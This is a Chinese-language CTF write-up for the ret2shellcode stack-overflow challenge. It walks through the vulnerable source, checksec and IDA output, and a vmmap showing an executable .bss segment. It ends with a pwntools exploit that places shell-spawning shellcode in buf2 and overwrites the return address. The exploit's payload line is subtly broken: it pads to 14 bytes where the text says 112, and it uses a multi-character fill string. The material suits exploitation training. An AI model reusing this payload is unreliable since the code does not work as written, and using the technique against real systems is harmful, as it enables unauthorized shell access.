本题为ret2shellcode-example
题目路径
/ctf-challenges/pwn/stackoverflow/ret2shellcode/ret2shellcode-example
ret2shellcode,即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码。在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限
首先看C代码:
#include
#include
char buf2[100];
int main(void)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
char buf[100];
printf("No system for you this time !!!\n");
gets(buf);
strncpy(buf2, buf, 100);
printf("bye bye ~");
return 0;
}
Checksec看一下这个程序的保护机制
$ checksec ret2shellcode
[*] '/home/hollk/ctf-challenges/pwn/stackoverflow/ret2shellcode/ret2shellcode-example/ ret2shellcode'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
没有开启任何保护,并且在最后RWX指出程序具有读、写、执行权限。IDA看一下
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets((char *)&v4);
strncpy(buf2, (const char *)&v4, 0x64u);
printf("bye bye ~");
return 0;
}
v4为gets函数接收数据长度范围,依据ret2text的方法可以得到字符串起始位置距离ret跳转0x6c+4个字节,接下来使用strncpy函数将按输入的内容复制到buf2变量当中。和ret2text不同的是ret2shellcode程序中并没有直接可以调用的"/bin/sh"可以用,没有也没关系,由于NX保护没有开启,我们可以自己构造shellcode放在栈中。接下来需要找存放shellcode的位置,由于输入的字符串存储在buf2变量当中,所以可以从buf2变量下手
.bss:0804A080 public buf2
.bss:0804A080 ; char buf2[100]
.bss:0804A080 buf2 db 64h dup(?) ; DATA XREF: main+7Bo
.bss:0804A080 _bss ends
.bss:0804A080
通过IDA可以找到buf2变量存放在bss段(0x0804A080),因为一会自己构造的shellcode需要存放在buf2变量中,而buf2变量存放在程序的bss段,所以需要通过gdb查看一下该程序是否在bss段具有执行权限,如果没有执行权限,连带着buf2变量中的shellcode就不可执行
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x8048000 0x8049000 r-xp 1000 0 /home/hollk/ctf-challenges/pwn/stackoverflow /ret2shellcode/ret2shellcode-example/ret2shellcode
0x8049000 0x804a000 r-xp 1000 0 /home/hollk/ctf-challenges/pwn/stackoverflow /ret2shellcode/ret2shellcode-example/ret2shellcode
0x804a000 0x804b000 rwxp 1000 1000 /home/hollk/ctf-challenges/pwn/stackoverflow /ret2shellcode/ret2shellcode-example/ret2shellcode
0xf7ddd000 0xf7fb2000 r-xp 1d5000 0 /lib/i386-linux-gnu/libc-2.27.so
0xf7fb2000 0xf7fb3000 ---p 1000 1d5000 /lib/i386-linux-gnu/libc-2.27.so
0xf7fb3000 0xf7fb5000 r-xp 2000 1d5000 /lib/i386-linux-gnu/libc-2.27.so
0xf7fb5000 0xf7fb6000 rwxp 1000 1d7000 /lib/i386-linux-gnu/libc-2.27.so
0xf7fb6000 0xf7fb9000 rwxp 3000 0
0xf7fd0000 0xf7fd2000 rwxp 2000 0
0xf7fd2000 0xf7fd5000 r--p 3000 0 [vvar]
0xf7fd5000 0xf7fd6000 r-xp 1000 0 [vdso]
0xf7fd5000 0xf7ffe000 rwxp 29000 0
0xf7fd6000 0xf7ffc000 r-xp 26000 0 /lib/i386-linux-gnu/ld-2.27.so
0xf7ffc000 0xf7ffd000 r-xp 1000 25000 /lib/i386-linux-gnu/ld-2.27.so
0xf7ffd000 0xf7ffe000 rwxp 1000 26000 /lib/i386-linux-gnu/ld-2.27.so
0xfffdd000 0xffffe000 rwxp 21000 0 [stack]
通过gdb中vmmap命令可以查看程序各段执行权限,由于buf2存放地址为bss段的0x0804A080位置,结果显示
0x804a000 0x804b000 rwxp 1000 1000 /home/hollk/ctf-challenges/pwn/stackoverflow /ret2shellcode/ret2shellcode-example/ret2shellcode
可以看到执行权限为"rwxp",所以该bss段具有执行权限,那么在buf2变量中写入shellcode就可以执行。
EXP的思路:先使用字符串将整个可控内存空间填满,接下来覆盖saved edp和ret地址,在输入并回车后,字符串就会复制到buf2变量中,那么前期填充字符串的时候就可以使用shellcode字符串追加’A’这种形式进行填充,最后将buf2变量的地址覆盖到ret跳转位置,程序返回后会执行存放在buf2变量中的shellcode
EXP:
from pwn import *
sh = process('./ret2shellcode')
buf2_add = 0x0804A080
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(14,'hollkdig')+p32(buf2_add) #112个字节+buf2_add
sh.sendline(payload)
sh.interactive()